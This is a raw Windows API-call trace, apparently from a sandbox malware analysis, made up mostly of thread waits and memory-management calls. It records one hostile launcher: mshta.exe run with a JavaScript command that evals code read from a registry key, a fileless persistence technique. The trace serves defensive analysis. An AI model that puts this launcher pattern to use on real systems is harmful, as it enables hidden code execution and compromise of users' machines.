RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0276.453] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0276.453] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0276.453] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0276.895] GetTickCount () returned 0x4465c [0276.896] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0276.896] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0276.896] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0276.896] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0277.261] GetTickCount () returned 0x447d3 [0277.261] GetTickCount () returned 0x447d3 [0277.262] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0277.262] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0277.262] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0277.262] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0277.358] GetTickCount () returned 0x44831 [0277.358] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0277.358] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0277.358] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0277.358] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.026] GetTickCount () returned 0x44ad0 [0278.026] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0278.026] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0278.026] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.026] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.486] GetTickCount () returned 0x44c96 [0278.486] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.486] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.886] GetTickCount () returned 0x44e2c [0278.886] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0278.886] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0278.886] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0278.886] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.057] GetTickCount () returned 0x44ed8 [0279.057] GetTickCount () returned 0x44ed8 [0279.057] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0279.057] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0279.057] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.057] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.152] GetTickCount () returned 0x44f35 [0279.152] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0279.152] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0279.152] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.153] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.350] GetTickCount () returned 0x44ff1 [0279.350] GetTickCount () returned 0x44ff1 [0279.350] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0279.350] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0279.350] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.351] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.920] GetTickCount () returned 0x45233 [0279.920] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0279.920] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0279.920] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0279.921] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.011] GetTickCount () returned 0x45291 [0280.011] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0280.011] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0280.011] VirtualFree (lpAddress=0x8142000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.012] VirtualFree (lpAddress=0x8143000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.012] VirtualFree (lpAddress=0x8144000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.012] VirtualFree (lpAddress=0x8145000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.013] VirtualFree (lpAddress=0x8146000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.013] VirtualFree (lpAddress=0x8147000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.013] VirtualFree (lpAddress=0x8148000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.013] VirtualFree (lpAddress=0x8149000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.014] VirtualFree (lpAddress=0x814a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.014] VirtualFree (lpAddress=0x814b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.014] VirtualFree (lpAddress=0x814c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.015] VirtualFree (lpAddress=0x814d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.015] VirtualFree (lpAddress=0x814e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.015] VirtualFree (lpAddress=0x814f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.017] VirtualFree (lpAddress=0x8150000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.017] VirtualFree (lpAddress=0x8151000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.017] VirtualFree (lpAddress=0x8152000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.018] VirtualFree (lpAddress=0x8153000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.018] VirtualFree (lpAddress=0x8154000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.018] VirtualFree (lpAddress=0x8155000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.018] VirtualFree (lpAddress=0x8156000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.019] VirtualFree (lpAddress=0x8157000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.019] VirtualFree (lpAddress=0x8158000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.019] VirtualFree (lpAddress=0x8159000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.020] VirtualFree (lpAddress=0x815a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.020] VirtualFree (lpAddress=0x815b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.020] VirtualFree (lpAddress=0x815c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.021] VirtualFree (lpAddress=0x815d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.021] VirtualFree (lpAddress=0x815e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.021] VirtualFree (lpAddress=0x815f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0280.023] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.023] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.424] GetTickCount () returned 0x45437 [0280.425] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.425] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.575] GetTickCount () returned 0x454c3 [0280.575] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0280.575] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0280.575] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.575] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.800] GetTickCount () returned 0x455ae [0280.800] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0280.800] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0280.800] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0280.800] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.240] GetTickCount () returned 0x45763 [0281.240] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0281.240] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0281.240] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.240] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.471] GetTickCount () returned 0x4584e [0281.471] GetTickCount () returned 0x4584e [0281.471] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0281.471] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0281.471] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.471] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.868] GetTickCount () returned 0x459d4 [0281.868] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0281.868] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0281.868] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0281.868] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0282.601] GetTickCount () returned 0x45cb3 [0282.601] GetTickCount () returned 0x45cb3 [0282.601] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0282.601] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0282.602] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0282.602] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0282.740] GetTickCount () returned 0x45d3f [0282.740] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0282.740] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0282.741] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0282.741] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.322] GetTickCount () returned 0x45f81 [0283.322] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0283.322] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0283.322] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.322] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.581] GetTickCount () returned 0x4607b [0283.581] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.581] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.918] GetTickCount () returned 0x461d3 [0283.918] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0283.918] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0283.918] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0283.918] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.076] GetTickCount () returned 0x4626f [0284.076] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0284.076] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0284.076] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.076] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.230] GetTickCount () returned 0x4630c [0284.230] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0284.230] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0284.230] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.230] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.532] GetTickCount () returned 0x46434 [0284.532] GetTickCount () returned 0x46434 [0284.532] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0284.532] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0284.532] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.532] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.888] GetTickCount () returned 0x4659c [0284.888] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0284.888] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0284.888] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0284.888] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 88 os_tid = 0xec4 [0254.046] GetCurrentThreadId () returned 0xec4 [0254.047] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x638fb24 | out: phModule=0x638fb24*=0x716a0000) returned 1 [0254.047] SetEvent (hEvent=0x4b4) returned 1 [0254.070] ResetEvent (hEvent=0x4b0) returned 1 [0254.070] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x3e8) returned 0x102 [0255.062] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xffffffff) returned 0x0 [0255.536] malloc (_Size=0x144) returned 0x54d07e8 [0255.537] malloc (_Size=0x30) returned 0x5488340 [0255.537] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x80a0000 [0255.544] QueryPerformanceCounter (in: lpPerformanceCount=0x638f378 | out: lpPerformanceCount=0x638f378*=25884893236) returned 1 [0255.546] srand (_Seed=0x6dc2032) [0255.546] rand () returned 17589 [0255.552] RtlEncodeSystemPointer (Pointer=0x6dc6487) returned 0x359489d4 [0255.552] GetTickCount () returned 0x3f30c [0255.552] rand () returned 31793 [0255.552] malloc (_Size=0xc) returned 0x549a4a8 [0255.552] malloc (_Size=0xc) returned 0x549a340 [0255.552] malloc (_Size=0x10) returned 0x549a2e0 [0255.553] malloc (_Size=0x30) returned 0x54d0f50 [0255.553] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x80c0000 [0255.554] VirtualQuery (in: lpAddress=0x80c0000, lpBuffer=0x638f274, dwLength=0x1c | out: lpBuffer=0x638f274*(BaseAddress=0x80c0000, AllocationBase=0x80c0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0255.554] VirtualProtect (in: lpAddress=0x80c0000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0x638f290 | out: lpflOldProtect=0x638f290*=0x4) returned 1 [0255.561] VirtualQuery (in: lpAddress=0x80c0000, lpBuffer=0x638f258, dwLength=0x1c | out: lpBuffer=0x638f258*(BaseAddress=0x80c0000, AllocationBase=0x80c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x10, Type=0x20000)) returned 0x1c [0255.561] VirtualProtect (in: lpAddress=0x80c0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x638f274 | out: lpflOldProtect=0x638f274*=0x10) returned 1 [0255.568] memcpy_s (in: _Destination=0x80c0000, _DestinationSize=0x400, _Source=0x80b1018, _SourceSize=0x324 | out: _Destination=0x80c0000) returned 0x0 [0255.568] VirtualQuery (in: lpAddress=0x80c0000, lpBuffer=0x638f258, dwLength=0x1c | out: lpBuffer=0x638f258*(BaseAddress=0x80c0000, AllocationBase=0x80c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000)) returned 0x1c [0255.568] VirtualProtect (in: lpAddress=0x80c0000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0x638f274 | out: lpflOldProtect=0x638f274*=0x40) returned 1 [0255.569] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x80c0000, dwSize=0x324) returned 1 [0255.569] free (_Block=0x5488260) [0255.569] ResetEvent (hEvent=0x4b0) returned 1 [0255.569] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x3e8) returned 0x102 [0256.575] VirtualFree (lpAddress=0x80a0000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.575] VirtualFree (lpAddress=0x80a1000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.575] VirtualFree (lpAddress=0x80a2000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.576] VirtualFree (lpAddress=0x80a3000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.576] VirtualFree (lpAddress=0x80a4000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.576] VirtualFree (lpAddress=0x80a5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.577] VirtualFree (lpAddress=0x80a6000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.577] VirtualFree (lpAddress=0x80a7000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.577] VirtualFree (lpAddress=0x80a8000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.577] VirtualFree (lpAddress=0x80a9000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.578] VirtualFree (lpAddress=0x80aa000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.578] VirtualFree (lpAddress=0x80ab000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.578] VirtualFree (lpAddress=0x80ac000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.578] VirtualFree (lpAddress=0x80ad000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.579] VirtualFree (lpAddress=0x80ae000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.579] VirtualFree (lpAddress=0x80af000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.579] VirtualFree (lpAddress=0x80b0000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.579] VirtualFree (lpAddress=0x80b1000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.580] VirtualFree (lpAddress=0x80b3000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.580] VirtualFree (lpAddress=0x80b4000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.580] VirtualFree (lpAddress=0x80b5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.580] VirtualFree (lpAddress=0x80b6000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.581] VirtualFree (lpAddress=0x80b7000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.581] VirtualFree (lpAddress=0x80b8000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.581] VirtualFree (lpAddress=0x80b9000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.581] VirtualFree (lpAddress=0x80ba000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.582] VirtualFree (lpAddress=0x80bb000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.582] VirtualFree (lpAddress=0x80bc000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.582] VirtualFree (lpAddress=0x80bd000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.582] VirtualFree (lpAddress=0x80be000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.583] VirtualFree (lpAddress=0x80bf000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0256.583] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xffffffff) Thread: id = 89 os_tid = 0xfa0 [0254.479] GetCurrentThreadId () returned 0xfa0 [0254.479] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x654fb14 | out: phModule=0x654fb14*=0x726c0000) returned 1 [0254.479] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0254.479] GetTickCount () returned 0x3eed6 [0254.479] GetCurrentThreadId () returned 0xfa0 [0254.479] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1006) returned 0xa4b610 [0254.480] memcpy_s (in: _Destination=0xa4b610, _DestinationSize=0x1000, _Source=0xa4799c, _SourceSize=0x2 | out: _Destination=0xa4b610) returned 0x0 [0254.480] GetCurrentThreadId () returned 0xfa0 [0254.480] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0254.481] GetCurrentThreadId () returned 0xfa0 [0254.481] GetCurrentThreadId () returned 0xfa0 [0254.481] GetCurrentThreadId () returned 0xfa0 [0254.481] memcpy_s (in: _Destination=0x494c2f0, _DestinationSize=0x2, _Source=0xa4b610, _SourceSize=0x2 | out: _Destination=0x494c2f0) returned 0x0 [0254.481] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x108) returned 0xa4c620 [0254.481] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x8) returned 0xa25238 [0254.481] memcpy_s (in: _Destination=0xa2523c, _DestinationSize=0x4, _Source=0xa4b610, _SourceSize=0x2 | out: _Destination=0xa2523c) returned 0x0 [0254.482] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x4962400*=0x4f8, lpdwindex=0x654faf8 | out: lpdwindex=0x654faf8) returned 0x0 [0255.184] CoWaitForMultipleHandles (dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x4962400*=0x4f8, lpdwindex=0x654faf8) Thread: id = 91 os_tid = 0xff4 [0254.809] GetCurrentThreadId () returned 0xff4 Process: id = "11" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x19d46000" os_pid = "0xec8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x6cc" cmd_line = "mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0x15c [0251.451] GetProcessHeap () returned 0x8f0000 [0251.451] GetVersion () returned 0x3ad7000a [0251.451] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0251.451] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0251.451] HeapSetInformation (HeapHandle=0x8f0000, HeapInformationClass=0x0, 